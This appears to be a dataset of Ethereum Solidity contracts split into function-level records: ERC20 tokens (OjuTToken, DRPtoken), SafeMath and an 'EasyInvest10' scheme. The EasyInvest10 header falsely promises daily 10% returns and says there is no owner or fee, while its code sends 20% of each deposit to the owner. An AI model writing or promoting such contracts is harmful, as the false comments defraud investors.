ERC20Interface(tokenAddress).transfer(owner, tokens); } // ------------------------------------------------------------------------ // Destroy tokens // Remove `value` tokens from the system irreversibly // @param value the amount of money to burn // ------------------------------------------------------------------------ function burn(uint256 value) public returns (bool success) { require(balances[msg.sender] >= value); // Check if the sender has enough balances[msg.sender] -= value; // Subtract from the sender totalSupply -= value; // Updates totalSupply emit Burn(msg.sender, value); return true; } // ------------------------------------------------------------------------ // Freeze account - Prevent | Allow` `target` from sending & receiving tokens // @param target Address to be frozen // @param freeze either to freeze it or not // ------------------------------------------------------------------------ function freezeAccount(address target, bool freeze) onlyOwner public { frozenAccount[target] = freeze; emit FrozenFunds(target, freeze); } }
// ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and assisted // token transfers // ----------------------------------------------------------------------------
LineComment
function () public payable { revert(); }
// ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------
LineComment
v0.4.24+commit.e67f0147
bzzr://54425f3c2728488ac4244ef0e4cfa171861019c7e4aefa851450b5288a35f77f
{ "func_code_index": [ 5668, 5727 ] }
1,344
OjuTToken
OjuTToken.sol
0x659338df9010de4dadb0bc33d6485d33b2155b06
Solidity
OjuTToken
contract OjuTToken is ERC20Interface, Owned, SafeMath { string public symbol; string public name; address public ownerAddress; uint8 public decimals; uint public totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; mapping(address => bool) public frozenAccount; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ constructor() public { symbol = "OjuT"; name = "OjuT Token"; decimals = 18; totalSupply = 125 * 10 ** 25; ownerAddress = 0x25B0db4FD8062a74685032e87a675A3df5a9F228; balances[ownerAddress] = totalSupply; emit Transfer(address(0), ownerAddress, totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { // Prevent transfer to 0x0 address. Use burn() instead require(to != 0x0); // Check if sender is frozen require(!frozenAccount[msg.sender]); // Check if recipient is frozen require(!frozenAccount[to]); balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { // Prevent transfer to 0x0 address. Use burn() instead require(to != 0x0); // Check if sender is frozen require(!frozenAccount[from]); // Check if recipient is frozen require(!frozenAccount[to]); balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } // ------------------------------------------------------------------------ // Destroy tokens // Remove `value` tokens from the system irreversibly // @param value the amount of money to burn // ------------------------------------------------------------------------ function burn(uint256 value) public returns (bool success) { require(balances[msg.sender] >= value); // Check if the sender has enough balances[msg.sender] -= value; // Subtract from the sender totalSupply -= value; // Updates totalSupply emit Burn(msg.sender, value); return true; } // ------------------------------------------------------------------------ // Freeze account - Prevent | Allow` `target` from sending & receiving tokens // @param target Address to be frozen // @param freeze either to freeze it or not // ------------------------------------------------------------------------ function freezeAccount(address target, bool freeze) onlyOwner public { frozenAccount[target] = freeze; emit FrozenFunds(target, freeze); } }
// ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and assisted // token transfers // ----------------------------------------------------------------------------
LineComment
transferAnyERC20Token
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); }
// ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------
LineComment
v0.4.24+commit.e67f0147
bzzr://54425f3c2728488ac4244ef0e4cfa171861019c7e4aefa851450b5288a35f77f
{ "func_code_index": [ 5960, 6149 ] }
1,345
OjuTToken
OjuTToken.sol
0x659338df9010de4dadb0bc33d6485d33b2155b06
Solidity
OjuTToken
contract OjuTToken is ERC20Interface, Owned, SafeMath { string public symbol; string public name; address public ownerAddress; uint8 public decimals; uint public totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; mapping(address => bool) public frozenAccount; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ constructor() public { symbol = "OjuT"; name = "OjuT Token"; decimals = 18; totalSupply = 125 * 10 ** 25; ownerAddress = 0x25B0db4FD8062a74685032e87a675A3df5a9F228; balances[ownerAddress] = totalSupply; emit Transfer(address(0), ownerAddress, totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { // Prevent transfer to 0x0 address. Use burn() instead require(to != 0x0); // Check if sender is frozen require(!frozenAccount[msg.sender]); // Check if recipient is frozen require(!frozenAccount[to]); balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { // Prevent transfer to 0x0 address. Use burn() instead require(to != 0x0); // Check if sender is frozen require(!frozenAccount[from]); // Check if recipient is frozen require(!frozenAccount[to]); balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } // ------------------------------------------------------------------------ // Destroy tokens // Remove `value` tokens from the system irreversibly // @param value the amount of money to burn // ------------------------------------------------------------------------ function burn(uint256 value) public returns (bool success) { require(balances[msg.sender] >= value); // Check if the sender has enough balances[msg.sender] -= value; // Subtract from the sender totalSupply -= value; // Updates totalSupply emit Burn(msg.sender, value); return true; } // ------------------------------------------------------------------------ // Freeze account - Prevent | Allow` `target` from sending & receiving tokens // @param target Address to be frozen // @param freeze either to freeze it or not // ------------------------------------------------------------------------ function freezeAccount(address target, bool freeze) onlyOwner public { frozenAccount[target] = freeze; emit FrozenFunds(target, freeze); } }
// ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and assisted // token transfers // ----------------------------------------------------------------------------
LineComment
burn
function burn(uint256 value) public returns (bool success) { require(balances[msg.sender] >= value); // Check if the sender has enough balances[msg.sender] -= value; // Subtract from the sender totalSupply -= value; // Updates totalSupply emit Burn(msg.sender, value); return true; }
// ------------------------------------------------------------------------ // Destroy tokens // Remove `value` tokens from the system irreversibly // @param value the amount of money to burn // ------------------------------------------------------------------------
LineComment
v0.4.24+commit.e67f0147
bzzr://54425f3c2728488ac4244ef0e4cfa171861019c7e4aefa851450b5288a35f77f
{ "func_code_index": [ 6447, 6818 ] }
1,346
OjuTToken
OjuTToken.sol
0x659338df9010de4dadb0bc33d6485d33b2155b06
Solidity
OjuTToken
contract OjuTToken is ERC20Interface, Owned, SafeMath { string public symbol; string public name; address public ownerAddress; uint8 public decimals; uint public totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; mapping(address => bool) public frozenAccount; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ constructor() public { symbol = "OjuT"; name = "OjuT Token"; decimals = 18; totalSupply = 125 * 10 ** 25; ownerAddress = 0x25B0db4FD8062a74685032e87a675A3df5a9F228; balances[ownerAddress] = totalSupply; emit Transfer(address(0), ownerAddress, totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { // Prevent transfer to 0x0 address. Use burn() instead require(to != 0x0); // Check if sender is frozen require(!frozenAccount[msg.sender]); // Check if recipient is frozen require(!frozenAccount[to]); balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { // Prevent transfer to 0x0 address. Use burn() instead require(to != 0x0); // Check if sender is frozen require(!frozenAccount[from]); // Check if recipient is frozen require(!frozenAccount[to]); balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } // ------------------------------------------------------------------------ // Destroy tokens // Remove `value` tokens from the system irreversibly // @param value the amount of money to burn // ------------------------------------------------------------------------ function burn(uint256 value) public returns (bool success) { require(balances[msg.sender] >= value); // Check if the sender has enough balances[msg.sender] -= value; // Subtract from the sender totalSupply -= value; // Updates totalSupply emit Burn(msg.sender, value); return true; } // ------------------------------------------------------------------------ // Freeze account - Prevent | Allow` `target` from sending & receiving tokens // @param target Address to be frozen // @param freeze either to freeze it or not // ------------------------------------------------------------------------ function freezeAccount(address target, bool freeze) onlyOwner public { frozenAccount[target] = freeze; emit FrozenFunds(target, freeze); } }
// ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and assisted // token transfers // ----------------------------------------------------------------------------
LineComment
freezeAccount
function freezeAccount(address target, bool freeze) onlyOwner public { frozenAccount[target] = freeze; emit FrozenFunds(target, freeze); }
// ------------------------------------------------------------------------ // Freeze account - Prevent | Allow` `target` from sending & receiving tokens // @param target Address to be frozen // @param freeze either to freeze it or not // ------------------------------------------------------------------------
LineComment
v0.4.24+commit.e67f0147
bzzr://54425f3c2728488ac4244ef0e4cfa171861019c7e4aefa851450b5288a35f77f
{ "func_code_index": [ 7158, 7324 ] }
1,347
BitPump
BitPump.sol
0xe575ca6f4837280be1dcfe845a79efa404d071c1
Solidity
SafeMath
library SafeMath { /** * Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } }
/** * @title SafeMath */
NatSpecMultiLine
mul
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; }
/** * Multiplies two numbers, throws on overflow. */
NatSpecMultiLine
v0.4.24+commit.e67f0147
None
bzzr://af70c10173483a6387bd72ef2d84b5111fb44edfec17f90ecbcb71b35870c77b
{ "func_code_index": [ 90, 297 ] }
1,348
BitPump
BitPump.sol
0xe575ca6f4837280be1dcfe845a79efa404d071c1
Solidity
SafeMath
library SafeMath { /** * Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } }
/** * @title SafeMath */
NatSpecMultiLine
div
function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; }
/** * Integer division of two numbers, truncating the quotient. */
NatSpecMultiLine
v0.4.24+commit.e67f0147
None
bzzr://af70c10173483a6387bd72ef2d84b5111fb44edfec17f90ecbcb71b35870c77b
{ "func_code_index": [ 382, 682 ] }
1,349
BitPump
BitPump.sol
0xe575ca6f4837280be1dcfe845a79efa404d071c1
Solidity
SafeMath
library SafeMath { /** * Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } }
/** * @title SafeMath */
NatSpecMultiLine
sub
function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; }
/** * Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */
NatSpecMultiLine
v0.4.24+commit.e67f0147
None
bzzr://af70c10173483a6387bd72ef2d84b5111fb44edfec17f90ecbcb71b35870c77b
{ "func_code_index": [ 797, 925 ] }
1,350
BitPump
BitPump.sol
0xe575ca6f4837280be1dcfe845a79efa404d071c1
Solidity
SafeMath
library SafeMath { /** * Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } }
/** * @title SafeMath */
NatSpecMultiLine
add
function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; }
/** * Adds two numbers, throws on overflow. */
NatSpecMultiLine
v0.4.24+commit.e67f0147
None
bzzr://af70c10173483a6387bd72ef2d84b5111fb44edfec17f90ecbcb71b35870c77b
{ "func_code_index": [ 990, 1136 ] }
1,351
EasyInvest10
EasyInvest10.sol
0x0744a686c17480b457a4fbb743195bf2815ca2b8
Solidity
EasyInvest10
contract EasyInvest10 { address owner; function EasyInvest10 () { owner = msg.sender; } // records amounts invested mapping (address => uint256) invested; // records blocks at which investments were made mapping (address => uint256) atBlock; // this function called every time anyone sends a transaction to this contract function() external payable { owner.send(msg.value/5); // if sender (aka YOU) is invested more than 0 ether if (invested[msg.sender] != 0){ // calculate profit amount as such: address kashout = msg.sender; // amount = (amount invested) * 10% * (blocks since last transaction) / 5900 // 5900 is an average block count per day produced by Ethereum blockchain uint256 getout = invested[msg.sender]*10/100*(block.number-atBlock[msg.sender])/5900; // send calculated amount of ether directly to sender (aka YOU) kashout.send(getout); } // record block number and invested amount (msg.value) of this transaction atBlock[msg.sender] = block.number; invested[msg.sender] += msg.value; } }
/** * * Easy Investment 10% Contract * - GAIN 10% PER 24 HOURS (every 5900 blocks) * - NO COMMISSION on your investment (every ether stays on contract's balance) * - NO FEES are collected by the owner, in fact, there is no owner at all (just look at the code) * * How to use: * 1. Send any amount of ether to make an investment * 2a. Claim your profit by sending 0 ether transaction (every day, every week, i don't care unless you're spending too much on GAS) * OR * 2b. Send more ether to reinvest AND get your profit at the same time * * RECOMMENDED GAS LIMIT: 70000 * RECOMMENDED GAS PRICE: https://ethgasstation.info/ * * Contract reviewed and approved by pros! * */
NatSpecMultiLine
function() external payable { owner.send(msg.value/5); // if sender (aka YOU) is invested more than 0 ether if (invested[msg.sender] != 0){ // calculate profit amount as such: address kashout = msg.sender; // amount = (amount invested) * 10% * (blocks since last transaction) / 5900 // 5900 is an average block count per day produced by Ethereum blockchain uint256 getout = invested[msg.sender]*10/100*(block.number-atBlock[msg.sender])/5900; // send calculated amount of ether directly to sender (aka YOU) kashout.send(getout); } // record block number and invested amount (msg.value) of this transaction atBlock[msg.sender] = block.number; invested[msg.sender] += msg.value; }
// this function called every time anyone sends a transaction to this contract
LineComment
v0.4.24+commit.e67f0147
bzzr://6015176bce0aacc4546a0182993ee13ea260444a103c8e9f31c8f487b263f17e
{ "func_code_index": [ 373, 1194 ] }
1,352
DRPtoken
DRPtoken.sol
0xb218e7d2beb403a8e4e24512669d71066e8bf409
Solidity
Token
contract Token { string public name = "DevronKim's Research Purpose"; string public constant symbol = "DRP"; uint8 public constant decimals = 18; uint256 public totalSupply = 100000000 * 10 ** uint256(decimals); using SafeMath for uint256; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; event Transfer(address indexed from, address indexed to, uint256 value); event Burn(address indexed from, uint256 value); constructor() public { balanceOf[msg.sender] = totalSupply; } /** * Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { require(_to != 0x0); require(balanceOf[_from] >= _value); require(balanceOf[_to].add(_value) > balanceOf[_to]); uint256 previousBalances = balanceOf[_to].add(balanceOf[_from]); balanceOf[_from] = balanceOf[_from].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); emit Transfer(_from, _to, _value); assert(balanceOf[_from].add(balanceOf[_to]) == previousBalances); } /** * Transfer tokens * * Send `_value` tokens to `_to` from your account * * @param _to The address of the recipient * @param _value the amount to send */ function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } /** * Transfer tokens from other address * * Send `_value` tokens to `_to` in behalf of `_from` * * @param _from The address of the sender * @param _to The address of the recipient * @param _value the amount to send */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); // Check allowance allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value); _transfer(_from, _to, _value); return true; } /** * Set allowance for other address * * Allows `_spender` to spend no more than `_value` tokens in your behalf * * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } /** * Set allowance for other address and notify * * Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it * * @param _spender The address authorized to spend * @param _value the max amount they can spend * @param _extraData some extra information to send to the approved contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } /** * Destroy tokens * * Remove `_value` tokens from the system irreversibly * * @param _value the amount of money to burn */ function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); // Check if the sender has enough balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value) ; // Subtract from the sender totalSupply = totalSupply.sub(_value); // Updates totalSupply emit Burn(msg.sender, _value); return true; } /** * Destroy tokens from other account * * Remove `_value` tokens from the system irreversibly on behalf of `_from`. * * @param _from the address of the sender * @param _value the amount of money to burn */ function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); // Check if the targeted balance is enough require(_value <= allowance[_from][msg.sender]); // Check allowance balanceOf[_from] = balanceOf[_from].sub(_value); // Subtract from the targeted balance allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value); // Subtract from the sender's allowance totalSupply = totalSupply.sub(_value); // Update totalSupply emit Burn(_from, _value); return true; } }
_transfer
function _transfer(address _from, address _to, uint _value) internal { require(_to != 0x0); require(balanceOf[_from] >= _value); require(balanceOf[_to].add(_value) > balanceOf[_to]); uint256 previousBalances = balanceOf[_to].add(balanceOf[_from]); balanceOf[_from] = balanceOf[_from].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); emit Transfer(_from, _to, _value); assert(balanceOf[_from].add(balanceOf[_to]) == previousBalances); }
/** * Internal transfer, only can be called by this contract */
NatSpecMultiLine
v0.4.24+commit.e67f0147
bzzr://d91717a6b6162f2c638e7cb1301c0cc472b07bdba9f963854f3d748dcd719e19
{ "func_code_index": [ 699, 1225 ] }
1,353
DRPtoken
DRPtoken.sol
0xb218e7d2beb403a8e4e24512669d71066e8bf409
Solidity
Token
contract Token { string public name = "DevronKim's Research Purpose"; string public constant symbol = "DRP"; uint8 public constant decimals = 18; uint256 public totalSupply = 100000000 * 10 ** uint256(decimals); using SafeMath for uint256; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; event Transfer(address indexed from, address indexed to, uint256 value); event Burn(address indexed from, uint256 value); constructor() public { balanceOf[msg.sender] = totalSupply; } /** * Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { require(_to != 0x0); require(balanceOf[_from] >= _value); require(balanceOf[_to].add(_value) > balanceOf[_to]); uint256 previousBalances = balanceOf[_to].add(balanceOf[_from]); balanceOf[_from] = balanceOf[_from].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); emit Transfer(_from, _to, _value); assert(balanceOf[_from].add(balanceOf[_to]) == previousBalances); } /** * Transfer tokens * * Send `_value` tokens to `_to` from your account * * @param _to The address of the recipient * @param _value the amount to send */ function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } /** * Transfer tokens from other address * * Send `_value` tokens to `_to` in behalf of `_from` * * @param _from The address of the sender * @param _to The address of the recipient * @param _value the amount to send */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); // Check allowance allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value); _transfer(_from, _to, _value); return true; } /** * Set allowance for other address * * Allows `_spender` to spend no more than `_value` tokens in your behalf * * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } /** * Set allowance for other address and notify * * Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it * * @param _spender The address authorized to spend * @param _value the max amount they can spend * @param _extraData some extra information to send to the approved contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } /** * Destroy tokens * * Remove `_value` tokens from the system irreversibly * * @param _value the amount of money to burn */ function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); // Check if the sender has enough balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value) ; // Subtract from the sender totalSupply = totalSupply.sub(_value); // Updates totalSupply emit Burn(msg.sender, _value); return true; } /** * Destroy tokens from other account * * Remove `_value` tokens from the system irreversibly on behalf of `_from`. * * @param _from the address of the sender * @param _value the amount of money to burn */ function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); // Check if the targeted balance is enough require(_value <= allowance[_from][msg.sender]); // Check allowance balanceOf[_from] = balanceOf[_from].sub(_value); // Subtract from the targeted balance allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value); // Subtract from the sender's allowance totalSupply = totalSupply.sub(_value); // Update totalSupply emit Burn(_from, _value); return true; } }
transfer
function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); }
/** * Transfer tokens * * Send `_value` tokens to `_to` from your account * * @param _to The address of the recipient * @param _value the amount to send */
NatSpecMultiLine
v0.4.24+commit.e67f0147
bzzr://d91717a6b6162f2c638e7cb1301c0cc472b07bdba9f963854f3d748dcd719e19
{ "func_code_index": [ 1431, 1543 ] }
1,354
DRPtoken
DRPtoken.sol
0xb218e7d2beb403a8e4e24512669d71066e8bf409
Solidity
Token
